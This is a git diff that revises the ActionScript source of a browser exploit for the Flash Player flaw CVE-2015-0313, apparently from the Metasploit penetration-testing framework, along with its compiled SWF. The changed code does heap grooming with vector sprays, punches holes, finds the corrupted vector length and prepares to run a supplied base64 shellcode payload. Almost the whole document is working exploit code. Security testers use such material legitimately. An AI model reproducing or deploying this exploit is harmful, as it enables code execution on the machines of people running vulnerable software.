diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index fafeb047ef..5ffb0426ff 100644 Binary files a/data/exploits/CVE-2015-0313/msf.swf and b/data/exploits/CVE-2015-0313/msf.swf differ diff --git a/external/source/exploits/CVE-2015-0313/Exploit.as b/external/source/exploits/CVE-2015-0313/Exploit.as index 32dac123b9..07269d38f1 100755 --- a/external/source/exploits/CVE-2015-0313/Exploit.as +++ b/external/source/exploits/CVE-2015-0313/Exploit.as @@ -23,7 +23,7 @@ import mx.utils.Base64Decoder public class Exploit extends Sprite { - private var ov:Vector. = new Vector.(120000) + private var ov:Vector. = new Vector.(80000) private var uv:Vector. private var ba:ByteArray = new ByteArray() private var worker:Worker @@ -44,16 +44,6 @@ public class Exploit extends Sprite { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os - Logger.log("od: " + os) - var ov_limit:uint - if (os == "Windows 8.1" || os == "Windows 8") { - ov_limit = 80000 - } else { - ov_limit = 60000 - } - Logger.log("ov: " + ov.length.toString()) - Logger.log("ov_limit: " + ov_limit.toString()) - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") @@ -66,9 +56,10 @@ public class Exploit extends Sprite for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.(1014) ov[i][0] = 0xdeedbeef + ov[i][1] = 0xdeadbeef } Logger.log("holes") - for (i = 0; i < ov_limit; i += 2) { + for (i = 0; i < 70000; i += 2) { delete(ov[i]) } worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) @@ -89,7 +80,7 @@ public class Exploit extends Sprite ov[0] = new Vector.(1022) mc.send("") while (mc.messageAvailable); - for (var i:uint = 0; i < 20000; i++) { + for (var i:uint = 0;; i++) { if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { ov[0][i] = 0xffffffff break @@ -104,12 +95,15 @@ public class Exploit extends Sprite var mod:uint = casi32(0, 1022, 0xFFFFFFFF) Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) if (mod == 1022) mc.receive() - else { + else { for (var i:uint = 0; i < ov.length; i++) { if (ov[i].length == 0xffffffff) { uv = ov[i] } else { - ov[i] = null + if (ov[i] != null) { + delete(ov[i]) + ov[i] = null + } } } if (uv == null) { diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as index 9675548493..ebbf9649fa 100644 --- a/external/source/exploits/CVE-2015-0313/Exploiter.as +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -24,7 +24,7 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(89698) + private var spray:Vector. = new Vector.(15000) public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { @@ -32,7 +32,7 @@ package payload = p platform = pl op_system = os - + ev = new ExploitVector(uv) if (!ev.is_ready()) return eba = new ExploitByteArray(platform)